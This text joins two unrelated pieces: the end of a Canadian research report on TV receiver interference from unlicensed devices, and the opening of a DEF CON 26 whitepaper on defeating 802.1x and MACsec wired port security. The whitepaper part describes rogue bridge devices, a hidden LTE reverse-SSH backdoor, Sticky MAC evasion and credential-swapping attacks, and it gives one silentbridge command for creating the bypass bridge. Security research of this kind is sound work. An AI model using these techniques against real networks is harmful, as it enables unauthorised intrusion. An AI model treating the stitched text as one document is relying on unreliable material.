purpose of this test was to study the impact of a narrowband interfering signal positioned at various frequencies across the NTSC channel would have on the NTSC signal itself. Communications Research Centre Canada MSTV Tests – Page 14 The NTSC signal and the narrowband interference signal were transmitted and received in the same room. The calibration was done at 3m as in previous cases. The interference signal power was then adjusted to obtain -86.1 dBm/120 kHz at 3 meters. The test for this case was completed with only the NTSC receiver #1 (see the list of the NTSC receivers in Annex 2). Again, CATV Channel 66 (474 – 480 MHz), which is equivalent to UHF off-air Channels 14 and 15, was used for the test. Table 8 presents the test results at 6m and at different frequencies across the NTSC channel. An NTSC visual signal RF subjective weighting curve shown in Figure 7 was used as reference for the interference calculation. Figure 7 shows that the NTSC visual signal is most sensitive to interference positioned between 1.5 and 2.5 MHz above the lower channel edge. Table 8. De-Sensitisation of NTSC Receivers At 6 Meters For The Narrowband Signal Transmitted Across The NTSC Band NTSC Receiver #1 Center Frequency of the narrowband interference signal CATV Channel 66 474.5 MHz (at 0.5 MHz) 476 MHz (at 2.0 MHz) 477 MHz (at 3.0 MHz) 478 MHz (at 4.0 MHz) 478.75 MHz (at 4.75 MHz) De-sensitisation at 6 meters TOV 4 dB 16 dB 14 dB 14 dB 18 dB ITUR-3 5 dB 18 dB 15 dB 15 dB 18 dB Communications Research Centre Canada MSTV Tests – Page 15 Figure 7. NTSC Visual Signal RF Subjective Weighting Curve (“S” Curve). The test results match well with the NTSC visual signal weighting curve (“S” curve), except at the colour sub- carrier location (about 4.75 MHz from the lower channel edge), where it is more sensitive to the interference. This is because the colour-bar test pattern, which is very sensitive to the colour sub-carrier interference, was used for the subjective assessment. 3.5 Cable Ingress Created by the UD Sideband Signals The purpose of these tests was to determine the possible cable ingress created by the interfering signals. For these tests, an indoor portable UD was assumed. This UD was set to transmit a 100-mW wideband signal through a Silver Sensor antenna with about 5-dB gain. The closest distance between the antenna and the cable was about 1 meter. Two types of cable were used. One being an RG-6 double shielded cable; and the other an RG-59 single shielded cable. The length of the cable used in the test was about 10 meters. The cable was stretched across a room with one end connected to a Vector signal analyser for ingress signal power measurement. Tests were conducted with the other end of the cable either terminated in its characteristic impedance or un- terminated. The results of the tests are presented in Table 9. Table 9. Cable Ingress Created by Wideband Emission Signal. CABLE INGRESS MEASURED POWER RG-6 CABLE RG-59 CABLE FREQUENCY NOT TERMINATED TERMINATED NOT TERMINATED TERMINATED 195 MHz -46 dBm -69 dBm -44 dBm -48 dBm 515 MHz -55 dBm -68 dBm -44 dBm -46 dBm dB 1 2 3 4 5 6 Frequency (MHz) 0 0 -24 -8 -16 -32 Communications Research Centre Canada MSTV Tests – Page 16 The results confirmed, as expected, that the double shielded RG-6 cable will pick up interference, if it is not terminated (in our test the un-terminated cable end is about 5m away from the transmitting antenna). RG 6 cable is probably the most widely used cable for home installation of cable TV and Satellite TV systems. For the case of the single shielded RG-59 cable, the test show that regardless of weather it is terminated or not, significant ingress interference was detected. RG 59 is often used by non-professionals to install additional cable outlet at home. 4. Findings & Observations 1. To avoid measurement errors, the interference signal level was set at 3 dB below the FCC recommended emission limit, thus, the actual receiver desensitisation could be up to 3 dB higher than the measurement results. 2. For different interfering signal bandwidth, the results are very much proportional to the interference signal bandwidth. For example, the wideband interference signal, 5.6 MHz BW, will cause 10 log (5.6/0.43) = 11.1 dB more desensitisation than a narrowband interference signal with a 0.43 MHz bandwidth. Test results show that, for each DTV receiver, the discrepancy is within +/- 1 dB over calculated results (see Table 1, 2, and 3). When desensitisation is small as shown in Table 3, the power calculation method is not accurate, since the receiver noise floor will impact the desensitisation. For example, if the interference is at the same level as the receiver noise floor, the desensitisation will be 3 dB rather than 0 dB. 3. It is interesting to note that a 1.3 MHz bandwidth interfering signal has almost the same impact as three individual 0.43 MHz (3 x 0.43 = 1.29 MHz) interference signals (+/- 1 dB accuracy) spread across a TV channel as shown in Tables 1 and 2. 4. Indoor multipath reflection forming standing waves, which results in signal peaks and nulls over few inches distance (RF frequency dependent) were observed. The peak can be 3 dB above free space propagation curve, while nulls can easily cause several dB of signal loss. The further away from the UD, the greater the potential for multipath reflection, which could cause possible desensitisation in extended areas. 5. There was more desensitisation for the case of NTSC than for that of DTV. This result is expected, since the NTSC system requires higher S/N than the DTV system to operate. 6. A narrow band interference signal located in an NTSC channel follows the behaviour of the “S” curve. Communications Research Centre Canada MSTV Tests – Page 17 ANNEX 1: TEST PROCEDURE Test Procedure for Unlicensed Devices Interference Signal Emissions into the ATSC DTV and NTSC Channel. Set Up: • Select an RF channel between CH14 and 51. -Make sure there are minimum off-air interference in co- and first adjacent channels. • Interference emissions signals: 1. Wideband emission signal, 5.6 MHz BW 2. Narrowband emission signal, 0.429 MHz BW 3. Mediumband emissions signals, 1.3 MHz BW 4. Three narrowband emissions signals distributed over the 6 MHz channel, 3x0.43 MHz • Interference signal power level set up: - FCC emission requirement: 200 uV/m, or 46 dBuV/m within a 120 kHz BW. - Convert to dBm: P(dBm) = -75.5 + dBuV/m – 20 log(Frequency in MHz) - The emission signal level should be measured at 3m from the unlicensed devices, within a 120 kHz BW. - The signal level should be 3 dB below the above calculated emission level P(dBm) to avoid possible measurement errors. Since allowed interference signal power is calculated and fed to the receiver directly, the type of antenna used for transmission and reception is irrelevant. • Wanted signal: - ATSC DTV and NTSC. - TOV is used as the test threshold. - Test point: 3m, 12m and 18m away from the unlicensed devices. - Tests will also be done with signals transmitted thought a wall. - Television channel multipath distortion should be minimum. DTV TEST 1. Test at 3m with wideband and narrowband interference emissions signals: • At 3m, measure the off-air interference level (co- and first adjacent-channels), and the equipment noise level in 6 MHz and in 120 kHz bandwidth; • Adjust interference emission signal power level, measured 3m away, to be P(dBm) – 3 dB over the 120 kHz BW; • Turn off the interference, transmit ATSC DTV, and find TOV, record the transmitted signal power level in 6 MHz and in 120 kHz bandwidth; • Turn on the interference emission signal. If DTV reception is not possible, increase the DTV signal power level until TOV, record the DTV Tx signal power level in 6 MHz and 120 kHz bandwidth. The difference between the DTV signal power level with and without the interference emission signal is the receiver de-sensitisation. Communications Research Centre Canada MSTV Tests – Page 18 2. Test at 12m: • Keep the interference emission signal power unchanged and moves the test point to 6m. • Repeat the 3m test. • The result will be the de-sensitisation at 6m. 3. Test at 24m: • Keep the interference emission signal power unchanged and moves the test point to 24m, • Repeat the 3m test. • The result will be the de-sensitisation at 24m. NTSC TEST • Keep the interference emission signal power unchanged, repeat test at 6m, and 18m with NTSC as the wanted signal. • For narrowband interference test, the interference emission signal should be transmitted at several in-band frequency locations across 6 MHz channel. • NTSC signal power is measured as peak average power. Communications Research Centre Canada MSTV Tests – Page 19 ANNEX 2: LIST OF RECEIVERS DTV Receiver # Type 1 Consumer 2 Professional 3 Consumer 4 Consumer 5 Consumer NTSC Receiver # Type 1 Consumer 2 Consumer 3 Consumer Communications Research Centre Canada MSTV Tests – Page 20 ANNEX 3: OFFICE DRY WALL AND PHOTOS OF TEST EQUIPMENT Figure A3-1: Office dry wall Side A (signal goes through white-board). Communications Research Centre Canada MSTV Tests – Page 21 Figure A3-2: Office dry wall Side B (signal goes through white-board). Communications Research Centre Canada MSTV Tests – Page 22 Figure A3-3: UD and DTV/NTSC Transmission Systems. Communications Research Centre Canada MSTV Tests – Page 23 Figure A3-4: Five DTV Receivers and Reception System Set Up.
pdf
Page 1 of 37 Whitepaper: Bypassing Port Security In 2018 – Defeating MACsec and 802.1x-2010 DEF CON 26 Pre-Release Version Gabriel Ryan (@s0lst1c3) August 2018 Last Modified: 7/20/18 6:44:00 AM Page 2 of 37 Disclaimer and Updates This whitepaper is an early version designed for pre-release prior to DEF CON 26. All content will be updated by the time of the presentation at DEF CON 26 in August 2018. Final versions of all content will be available at: § https://digitalsilence.com/blog/ Page 3 of 37 Author Contact Information Author: Gabriel Ryan, Co-Founder / Senior Security Assessment Manager Digital Silence Email: gabriel@digitalsilence.com Twitter: @s0lst1c3 LinkedIn: linkedin.com/in/ms08067/ Github: github.com/s0lst1c3 Phone: +1-410-920-8101 SendSafely Secure Link: https://digitalsilence.sendsafely.com/u/gabriel Public Key Fingerprint: 5017 5C8B C1A7 31A0 80E4 9110 17C2 6CC7 BA33 3B45 Page 4 of 37 Abstract Existing techniques for bypassing wired port security are limited to attacking 802.1x-2004, which does not provide encryption or the ability to perform authentication on a packet-by-packet basis [3][4][6]. The development of 802.1x- 2010 mitigates these issues by using MACsec to provide Layer 2 encryption and packet integrity checks to the protocol [7]. Since MACsec encrypts data on a hop-by-hop basis, it successfully protects against the hub, bridge, and injection-based attacks pioneered by Steve Riley, Abb, and Alva Duckwall [7][8]. In addition to the development of 802.1x-2010, improved 802.1x support by peripheral devices such as printers also poses a challenge to attackers. Gone are the days in which bypassing 802.1x was as simple as finding a printer and spoofing a MAC address – hardware manufacturers have gotten smarter. In this paper, we introduce the Rogue Gateway and Bait n Switch attacks, which together can be used to bypass 802.1x-2010 and MACsec when weak EAP methods are used. Additionally, we introduce the EAP-MD5 Forced Reauthentication attack exploiting a weakness in the initiation of EAP authentication. We discuss how improved 802.1x support by peripheral devices does not necessarily translate to improved port-security due to the widespread use of weak EAP. Finally, we consider how improvements to the Linux kernel ease implementation of bridge-based techniques and demonstrate an alternative to using packet injection and manipulation for network interaction. We packaged each of these techniques and improvements into an open source tool called silentbridge, which we plan on releasing alongside this paper. Page 5 of 37 Table of Contents Disclaimer and Updates .......................................................................................................................................... 2 Author Contact Information ................................................................................................................................... 3 Abstract ................................................................................................................................................................. 4 Table of Contents ................................................................................................................................................... 5 I. Introduction ........................................................................................................................................................ 7 II. Background and Prior Work ................................................................................................................................ 7 II.1 MAC Filtering and MAC Authorization Bypass (MAB) ..................................................................................... 7 II.2 The Current State of Wired Port Security ...................................................................................................... 7 II.3 802.1x Overview ........................................................................................................................................... 8 II.4 Notable EAP Methods ................................................................................................................................... 9 II.4.A EAP-MD5 ............................................................................................................................................... 9 II.4.B EAP-PEAP / EAP-TTLS ........................................................................................................................... 11 II.4.C EAP-TLS ................................................................................................................................................ 13 III. Research Environment and Architecture .......................................................................................................... 13 III.1 Simulated Network Environment ............................................................................................................... 13 III.2 Rogue Device A: Pure Bridge-based Design ................................................................................................ 15 III.3 Rogue Device B: Mechanically Assisted Bypass ........................................................................................... 16 III.4 Establishing a Side Channel ........................................................................................................................ 17 III.5 Putting It All Together ................................................................................................................................ 18 IV. Improvements to Classical Bridge-based 802.1x Bypass ................................................................................... 20 V. Bate n Switch Attack: An Alternative To Packet Injection .................................................................................. 23 V.1 Bridge-Based Approach .............................................................................................................................. 23 V.2 Using Mechanical A/B Splitters ................................................................................................................... 24 VI. Defeating MACsec Using Rogue Gateway Attacks ............................................................................................ 25 VI.1 Defeating MACsec Using Rogue Gateway Attacks....................................................................................... 28 VII. Dealing with Improvements to Peripheral Device Security .............................................................................. 30 VII.1 EAP-MD5 Forced Reauthentication Attack ................................................................................................ 30 VII.1.A Passive Attack Against EAP-MD5 ........................................................................................................ 30 VII.1.B EAP-MD5 Forced Reauthentication Attack.......................................................................................... 31 VII.1.C Proposed Mitigation to EAP Forced Reauthentication Attacks ............................................................ 31 VII.2 Leveraging Rogue Gateway Attacks Against Peripheral Devices ................................................................. 32 VII.2.A Rogue Gateway Attack Against 802.1x-2004 and EAP-PEAP/EAP-TTLS ................................................ 32 VIII. Proof of Concept and Source Code Release .................................................................................................... 34 Conclusion ........................................................................................................................................................... 35 Page 6 of 37 Acknowledgements .............................................................................................................................................. 36 References ........................................................................................................................................................... 37 Page 7 of 37 I. Introduction In this paper, we provide a brief history of attacks against the 802.1x protocol, as well as descriptions of how the 802.1x and EAP protocols work. We also describe some of the most commonly used EAP methods, highlighting any security issues. We also discuss the historical use of port security exceptions as an attack vector, noting that improved 802.1x support by peripheral devices is changing this. Finally, we discuss our improvements to the bridge- based 802.1x bypass technique introduced by Alva Duckwall [4], along with three attacks that can be used against 802.1x-2004 and 802.1x-2010 using weak forms of EAP. II. Background and Prior Work Created in 2001, the original version of the 802.1x standard was designed to provide a rudimentary authentication mechanism for devices connecting to a local area network (LAN) [1]. Three years later, an extension of 802.1x named 802.1x-2004 was released to facilitate the use of 802.1x on wireless networks [2]. In 2005, researcher Steve Riley discovered that 802.1x-2004 could be bypassed by inserting a hub between an authorized device and a switch [3]. The attacker could then attach a rogue device to the hub and sniff packets and inject UDP traffic onto the network. Injecting TCP traffic was not possible due to a race condition that resulted in dropped packets and possible detection [4]. In 2011, a researcher named "Abb" published a tool called Marvin that could be used to bypass 802.1x by introducing a rogue device configured as a bridge directly between an authorized device and the switch [5]. This allowed an attacker to eavesdrop on network traffic without the use of a hub. Later that year, researcher Alva Duckwall improved upon Abb's attack, using source NATing to achieve full network interaction without relying on packet injection [4]. In 2017, Valérian Legrand released a similar tool that featured a modular design written in Python [6]. II.1 MAC Filtering and MAC Authorization Bypass (MAB) When enterprise organizations using 802.1x need to deploy a device that does not support the protocol, they must either permanently or temporarily disable 802.1x on the port used by the device. Disabling 802.1x on a port and replacing it with a weaker form of access control, such as MAC filtering, introduces a “port-security policy exception.” Historically, these policy exceptions were prevalent due to widespread lack of 802.1x support by peripheral devices such multifunction printers and IP cameras. Consequently, attackers typically first looked for policy exceptions when attempting to bypass port security, particularly since the bridge-based techniques described in II. Background and Prior Work and IV. Improvements to Classical Bridge-based 802.1x Bypass required considerably more effort. To bypass MAC filtering, the attacker merely located a device that does not use 802.1x, spoofed its MAC address, and connected to the device’s switch port. II.2 The Current State of Wired Port Security The largest enterprise networking hardware manufacturers now offer switches that supports 802.1x-2010. This new version of the 802.1x protocol uses MACsec to implement hop-by-hop Layer 2 encryption along with packet-by- packet integrity checks. These additional security features defeat the bridge-based attacks we described in II. Background and Prior Work and IV. Improvements to Classical Bridge-based 802.1x Bypass [7]. However, adoption rates for 802.1x itself remain relatively low, and adoption rates for newer additions to the standard such as 802.1x- 2010 are even lower. Regardless, attackers should expect to see increased 802.1x-2010 adoption in the near future, giving rise to a need to develop a method to cope with it. Page 8 of 37 In addition to the development of 802.1x-2010 and MACsec, improvements in peripheral device security increase the challenges in bypassing wired port security by looking for policy exceptions. At this point, most printer manufacturers offer at least one affordable model supporting 802.1x. As enterprise organizations continue to phase out legacy hardware, they continue to deploy more 802.1x capable peripheral devices into their network environments. This, in turn, decreases the frequency of port security exceptions, reducing the existence of what was once considered low-hanging-fruit for attackers. In the remainder of this paper, we demonstrate our efforts to address both the introduction of MACsec and increased 802.1x support by peripheral devices. We begin by introducing improvements to Duckwall’s bridge-based attacks against 802.1x-2004. We then introduce techniques to bypass 802.1x-2010 when implemented using weak forms of EAP. Finally, we discuss strategies and techniques to compensate for improvements in peripheral devices. II.3 802.1x Overview The 802.1x protocol is an authentication framework used to allow or deny access to devices wishing to connect to a local area network (LAN) (either wired or wireless) [1][2][9]. The protocol defines an exchange between the following three parties: § supplicant – the client device wishing to connect the LAN [1][2][9]. § authenticator – a network device such as a switch providing access to the LAN [1][2][9]. § authentication server – a host that runs software implementing RADIUS or some other Authorization, Authentication, and Accounting (AAA) protocol. Usually the authentication server is a standalone system, although it can be built into the same hardware as the authenticator [1][2][9]. Figure 1 – The EAP authentication process is encapsulated by EAPOL between the supplicant and authenticator, and by RADIUS between the authenticator and authentication server. The authenticator can be thought of as a gatekeeper that guards access to the LAN. When the supplicant connects to a switch port, it must provide the authenticator with a set of credentials [1][2][9]. The authenticator forwards these credentials to the authentication server, which verifies that the credentials are valid. If the credentials are valid, the authentication server instructs the authenticator to allow the supplicant to access the network. Otherwise, the supplicant is denied access to the network [1][2][9]. The 802.1x authentication process typically follows a four-step sequence: 1. Initialization – the supplicant connects to a port on the switch (authenticator). At this time, the switch port is currently disabled. The authenticator detects this new connection and enables the port, but only allows 802.1x traffic to be transmitted. When in this restricted state, the port is “unauthorized” [1][2][9]. Page 9 of 37 2. Initiation – either the supplicant or the authenticator can initiate the 802.1x authentication process. In some implementations of 802.1x, the authenticator periodically sends out EAP-Request-Identity frames that prompt the supplicant to begin authenticating [1][2][9]. Alternatively, the authenticator can wait for the supplicant to send an EAPOL-Start frame, to which it will respond with an EAP-Request-Identity frame. In either case, the supplicant replies with an EAP-Response-Identity frame containing an identifier (such as a username). The supplicant receives this frame, encapsulates it in a RADIUS Access-Request frame, and forwards the frame to the authentication server [1][2][9]. 3. EAP Negotiation – The authentication server responds with an EAP-Request frame encapsulated within a RADIUS Access-Challenge. The authenticator strips the RADIUS Access-Challenge frame from this response, and sends the resulting EAP-Request frame to the supplicant [1][2][9]. The EAP-Request frame specifies an EAP method that the supplicant should use to continue the authentication process. The supplicant either begins the EAP authentication process using the recommended EAP method, or responds with a Negative Acknowledgement (NAK) that includes a list of acceptable methods. [1][2][9] 4. Authentication – Once the supplicant and authentication server agree on an EAP method, the authentication process begins. The specific details of how the authentication process should proceed depends on the EAP method selected [1][2][9]. No matter what EAP method is used, the authentication process will result in an EAP-Success or EAP-Failure message. In the event of a successful authentication, the port is set to an “authorized state”, in which normal traffic is allowed. Otherwise, the port remains in an “unauthorized” state [1][2][9]. II.4 Notable EAP Methods There are many ways to implement EAP [16]. These different EAP implementations are known as EAP methods [16]. In this section, we review some of the most commonly used EAP methods direct relevant to the material covered in this paper. II.4.A EAP-MD5 The EAP-MD5 authentication process begins when the authentication server sends an EAP-Request-Identity to the supplicant [16]. The supplicant responds with an EAP-Response-Identity, causing the authentication server to create a randomly generated challenge string. The authentication server sends this challenge string to the supplicant as an MD5-Challenge-Request [16]. The supplicant then concatenates its username, plaintext password, and the challenge string into a single value, and sends the MD5 hash of this value to the authentication server as the MD5-Challenge- Response. Upon receiving the MD5-Challenge-Response, the authentication server repeats the hashing process performed by the supplicant: the authentication server concatenates the username, password, and challenge string into a single value which is input into the MD5 hashing function. This second MD5 hash (created by the authentication server) is compared against the MD5-Challenge-Response (created by the supplicant). If the two hashes are identical, the authentication attempt succeeds. Otherwise, it fails [16]. Page 10 of 37 Figure 2 – the EAP-MD5 authentication process This authentication method, when used alone, is not protected by encryption. As described by Josh Wright and Brad Antoniewicz in their presentation at Schmoocon 2008, an attacker sniffing traffic between the supplicant and the authenticator can capture both the MD5-Challenge-Request and MD5-Challenge-Response [13]. Wright and Antoniewicz describe a dictionary attack to calculate the plaintext password, as illustrated in Figure 3 below [13]. Page 11 of 37 Figure 3 – Wright’s and Antoniewicz’s dictionary attack against EAP-MD5, expressed as an algorithmic flowchart Further work by Fanbao Liu and Tao Xie of the National University of Defense Technology in Changsha, China reveals an even more efficient EAP-MD5 cracking technique that uses a length-recovery attack [19]. II.4.B EAP-PEAP / EAP-TTLS The authentication process consists of two phases: outer authentication and inner authentication. Outer authentication comes first, and begins when the supplicant makes an authentication request to the authentication server via the authenticator [21][29][30]. The authenticator then attempts to prove its identity to the supplicant by responding with an x.509 certificate. If the supplicant accepts the authentication server’s certificate, outer authentication succeeds and a secure tunnel is established between the authentication server and supplicant [21][29][30]. We then transition to the inner authentication process through the secure tunnel. The use of a secure tunnel to protect the inner authentication process was developed largely in response to the weaknesses that affect unprotected EAP methods such as EAP-MD5. Page 12 of 37 Much like EAP itself, there are many different protocols available for use during the inner authentication process [21][29][30]. However, MS-CHAPv2 is the most commonly used authentication protocol for this purpose. Figure 4 – The EAP-PEAP authentication process This system is problematic. Although mutual authentication can be enforced using inner-authentication mechanisms such as MS-CHAPv2, the x.509 certificate is the only means through which the supplicant can verify the identity of the authentication server. Absent a guarantee that the supplicant will always reject invalid certificates, the onus is placed on the supplicant (and therefore the user, in many cases) to reject invalid certificates received by the authentication server [13][20]. Remember that EAP is not only used for wired authentication as specified by 802.1x, but for wireless authentication in conjunction with WPA2 [21]. It was this inability to validate the identity of the authentication server that lead to the classic attack against WPA2-EAP wireless networks presented by Brad Antoniewicz and Joshua Wright at Schmoocon in 2008 [13]. When WPA2-EAP is implemented using weak EAP methods such as EAP-PEAP and EAP- TTLS, an attacker can use a rogue access point attack to force the supplicant to authenticate with a rogue authentication server [13][21]. So long as the supplicant accepts the certificate presented by the attacker’s authentication server, the supplicant will transmit an EAP challenge and response to the attacker that can be cracked to obtain a plaintext username and password [13][21]. Further increasing the severity of this issue, MS-CHAPv2 is the strongest Inner Authentication protocol available for use with EAP-PEAP and EAP-TTLS. MS-CHAPv2 itself is vulnerable to a cryptographic weakness, first discovered by Moxie Marlinspike and David Hulton in 2012, that allows an attacker to reduce the captured MS-CHAPv2 challenge and response hashes to a single round of DES encryption, which is a mere 56-bits in length [22][23]. These 56-bits are weak enough that they can converted into a password-equivalent NT hash within 24 hours with a 100% success rate using FPGA-based hardware [22][23]. Page 13 of 37 Although the feasibility of similar attacks against wired port security have yet to be explored, this paper demonstrates that such attacks are pivotal in allowing us to bypass 802.1x-2010. II.4.C EAP-TLS In 2008, EAP-TLS was introduced by RFC 5216, largely as a mitigation to the aforementioned security issues affecting weak EAP methods such as EAP-PEAP and EAP-TTLS [24]. The strength of EAP-TLS lies in its use of mutual certificate- based authentication during the outer authentication process, preventing attackers from performing the kinds of man-in-the-middle attacks that can be used to attack weaker EAP implementations [24]. Unfortunately, the inconvenience of installing a client certificate on all supplicant devices reduced the overall adoption rate of this technology [25]. III. Research Environment and Architecture Our lab environment consisted of the following core components: § Simulated Network Environment – the test network against which we performed our attacks. § Rogue Device A – a rogue device configured to use a bridged-based approach for performing 802.1x bypasses. § Rogue Device B – a rogue device equipped with remotely controllable mechanical A/B ethernet splitters. In the remainder of this paper, we often talk about attacks requiring either a Rogue Device A or Rogue Device B configuration. When we say this, we mean that the attack assumes that the rogue device is configured according to the following descriptions. III.1 Simulated Network Environment Our simulated network environment emulates an enterprise internal network protected by 802.1x authentication. Figure 5 – the simulated network environment Page 14 of 37 As shown in Figure 5, the simulated network environment uses the following components: § Supplicant: a MACsec capable Linux workstation running Fedora 28 equipped with NetworkManager and wpa_supplicant, configured to connect and authenticate automatically with the network. § Authenticator: a MACsec capable Cisco Catalyst 3560-CX switch configured as follows: o GigabitEthernet 0/1 interface – provides an upstream link to the network gateway o GitabitEthernet 0/2 interface – provides administrative access to the switch o GigabitEthernet 0/3 interface – provides a connection to the external RADIUS server o GigabitEthernet 0/5 interface – standard 802.1x protected port o GigabitEthernet 0/6 interface – 802.1x protected port with MACsec § Authentication Server (RADIUS) – we used a Raspberry Pi running Freeradius 3.017 as an authentication server for use with the switch. Figure 6 – objective: introducing a rogue device between the authenticator and supplicant The goal of this experiment was to successfully bypass multiple variations of 802.1x by introducing a rogue device to the network, either by placing it as a bridge between the supplicant and authenticator (see Figure 6 above) or by connecting it directly to the authenticator itself (see Figure 7 below). Page 15 of 37 Figure 7 – objective: introducing a rogue device directly to the authenticator To do this, we constructed two rogue devices: one intended for purely bridge-based bypass methods and the other for mechanically assisted bypass methods. III.2 Rogue Device A: Pure Bridge-based Design Rogue Device A followed a pure bridge-based design, as shown in Figure 8 below. More details about the side channel and transparent bridge can be found in III.4 Establishing a Side Channel and IV. Improvements to Classical Bridge-based 802.1x Bypass. Figure 8 – Rogue Device A The device consisted of an Intel NUC micro-computer running Fedora 28 and equipped with the following network interface cards: Page 16 of 37 § upstream – the upstream interface to connect the rogue device with the authenticator (or switch). We used a single Ugreen USB 2.0 to RJ45 Network Adapter for this purpose. § PHY – the PHY interface to connect the rogue device with the authenticator (or switch). We used a single Ugreen USB 2.0 to RJ45 Network Adapter for this purpose. § sidechannel – the sidechannel interface consisted of a single USB LTE modem used to provide a backdoor into the device. Additionally, the device was equipped with the silentbridge software we wrote as part of this research project. III.3 Rogue Device B: Mechanically Assisted Bypass Rogue Device B builds off the design of Rogue Device A, keeping all of the key design elements of the first device while adding two physical A/B Ethernet splitters to bypass the device entirely. When the splitters are in position A, they connect directly to each another using an ethernet patch cable. This causes the device acts as an ethernet extender, bypassing the network interfaces of the rogue device entirely. Figure 9 – Rogue Device B When the splitters are in position B, ethernet traffic passes directly to the upstream and PHY interfaces of the rogue device. Specifically, placing both splitters in position B connects the upstream interface to the authenticator, and connects the PHY interface to the supplicant. Page 17 of 37 Figure 10 – Rogue Device B Both A/B splitters can be operated independently of one another. To implement this functionality, we modified a pair of MT-VIKI FBA_MT-RJ45-2M RJ-45 ethernet splitters to each be controlled by a pair of 12mm, 24V solenoids. The solenoids were controlled by an Arduino compatible microcontroller connected to the rogue device over serial connection. We recognize that this may not be the most efficient way of controlling the device, but designing an Ethernet relay free of impedance issues was beyond the scope of this research. III.4 Establishing a Side Channel Establishing a side channel to remotely access the device is required to perform the Rogue Gateway and Bait n Switch attacks we describe, and gives us a way of controlling the rogue device even when it is not connected to the target network. We equipped both rogue devices with Linux-compatible LTE modems configured to obtain an IP address on boot. We then configured the devices to allow remote access through the LTE modem using a reverse SSH tunnel to an SSH redirector, as shown in Figure 11 below. Page 18 of 37 Figure 11 – Establishing a side channel using a reverse SSH tunnel over LTE In this configuration, the rogue device initiates a reverse SSH tunnel from the sidechannel interface to the redirect on boot. The redirector then forwards incoming SSH connections through the reverse tunnel to the rogue device. We followed the configuration described by Stanislav Sinyagin in his blog posts Call Home SSH Scripts and Improved Call Home SSH Scripts [26][27]. III.5 Putting It All Together The full lab setup is shown in the diagrams below. The first configuration uses Rogue Device A and is shown in Figure 12 below. Page 19 of 37 Figure 12 – the complete lab environment (using Rogue Device A) The second configuration uses Rogue Device B and is shown in Figure 13 below. Figure 13 – the complete lab environment (using Rogue Device B) Page 20 of 37 IV. Improvements to Classical Bridge-based 802.1x Bypass One of the first steps we took in exploring this topic was attempting to recreate the classical bridge-based 802.1x developed by Alva Duckwall [4]. As we mentioned in II.2 The Current State of Wired Port Security, this attack uses a transparent bridge to silently introduce a rogue device between the authenticator and the supplicant [4]. The ability to interact with the network is granted by using iptables to source NAT (SNAT) traffic originating from the device [4]. To reduce risk of discovery, iptables is used to prevent the rogue device from using a source port that is already in use by the supplicant [4]. Additionally, a hidden SSH service is created on the rogue device by using iptables to forward traffic destined for the supplicant’s IP address on a specific port to the rogue device on port 22 [4]. In this section we’ll discuss the improvements we made to this original attack, all of which were developed during the process of recreating it. Leveraging Native EAPOL Forwarding One of the most immediate drawbacks to the traditional bridge-based approach is that the Linux kernel will not forward EAPOL packets over the bridge, presumably for security reasons [4]. Existing tools for performing bridge- based 802.1x bypasses deal with this problem in one of two ways: patching the Linux kernel, or using high-level libraries such as Scapy [4][6]. Relying on kernel patches can be unwieldy, and relying on high level scripting languages such as Python can slow the bridge under heavy loads. To make matters worse, none of the publicly available kernel patches work with the latest versions of Linux [17][18]. Figure 14 – 802.1x forwarding can be enabled using the proc filesystem Fortunately, the situation has dramatically improved since Duckwall’s script was released: as of 2012, the Linux kernel no longer must be patched in order to bridge EAPOL packets [11]. Instead, users can enable this feature using the proc filesystem [11]. We updated our implementation of Duckwall’s classical 802.1x bypass to reflect this, ensuring long-lasting reliability regardless of the kernel version in use. Bypassing Sticky MAC A second minor improvement that we made was to ensure that our classical 802.1x bypass accounted for the widespread use of Sticky MAC by modern authenticators. Most 802.1x capable switches created in recent years support a feature known as Stick MAC, which dynamically associates the MAC address of the supplicant to the switch port once the supplicant has successfully authenticated [28][29]. If another MAC address is detected on the switch port, a port security violation occurs and the port is blocked [28][29]. To keep this from occurring, our implementation sets the bridge and PHY interfaces to the MAC address of the authenticator and sets the upstream interface to the MAC address of the supplicant (see Figure 15). Page 21 of 37 Figure 15 – bypassing Sticky MAC Support For Side Channel Interaction Perhaps the most significant improvement we made to the classical 802.1x bypass was to add support for remote access via a side channel, as described in III.4 Establishing a Side Channel. In Duckwall’s classical 802.1x bypass, all outbound ARP and IP traffic is initially blocked while the transparent bridge is being initialized. Figure 16 – The original 802.1x bypass by Duckwall, shown above, blocks all outbound ARP and IP traffic while the bridge is being initialized (script hosted by Mubix on Github.com) [18] Although these restrictions are eventually lifted when the transparent bridge setup is complete, they are still enough to cut off access through the side channel device, consequently causing loss of access to the rogue device. In order to maintain access to the device while the bridge is being initialized, we added a firewall exception that allows outbound traffic from our sidechannel interface only. Page 22 of 37 Figure 17 – creating an exception for side channel traffic By default, our implementation allows outbound traffic to port 22 from the sidechannel interface, although we also provided users with the ability to specify an alternative port using a command line flag. Figure 18 – specifying an alternative egress port Conclusion Our improved classical bypass worked as expected when used against 802.1x-2004, as shown in the screenshot below. The attack can be performed with both Rogue Device A (basic implementation) and with Rogue Device B (mechanical splitters). The addition of mechanical splitters only enhance this technique, and is not an essential component of the attack itself. Figure 19 – performing a bridge-based 802.1x bypass Page 23 of 37 Reproduction Command: ./silentbridge --create-bridge --upstream UPSTREAM_IFACE_ --phy PHY_IFACE_ --client-mac SUPPLICANT_MAC_ADDRESS --switch-mac SWITCH_MAC_ADDRESS V. Bate n Switch Attack: An Alternative To Packet Injection Traditional 802.1x bypass techniques tend to focus on ways of interacting with a protected wired network without actually authenticating. Although this can be accomplished using packet injection when the protected network uses 802.1x-2004 or earlier, a simpler approach is sometimes better. One situation in which this is particularly true is when 802.1.x-2010 is used to protect the wired network, as MACsec effectively denies us the opportunity to use packet injection. The Bait N Switch attack is a means of using stolen credentials to authenticate directly to a protected wired network without tripping port security. This allows the attacker to interact with the network without relying on packet injection. V.1 Bridge-Based Approach In the first variation of the Bait n Switch attack, we use the Rogue Device A configuration described in III.2 Rogue Device A: Pure Bridge-based Design. We begin the attack by performing the Classical Bridge-based 802.1x bypass described in IV. Improvements to Classical Bridge-based 802.1x Bypass, using the rogue device to establish a transparent bridge between the supplicant and authenticator as shown in Figure 20 below. Figure 20 – establishing a bridge-based 802.1x bypass in preparation for a Bait n Switch attack We then disconnect the supplicant from the network by bringing our PHY and bridge interfaces down. Next, we set the MAC address of our upstream interface to the MAC address of the supplicant and use the upstream interface to authenticate with the authenticator using stolen RADIUS credentials. Finally, we give our upstream interface a static IP address that matches the one previously assigned to the client device. Page 24 of 37 Figure 21 – performing a Bait n Switch attack In essence, the Bait n Switch attack silently swaps the authorized device with the attacker’s rogue 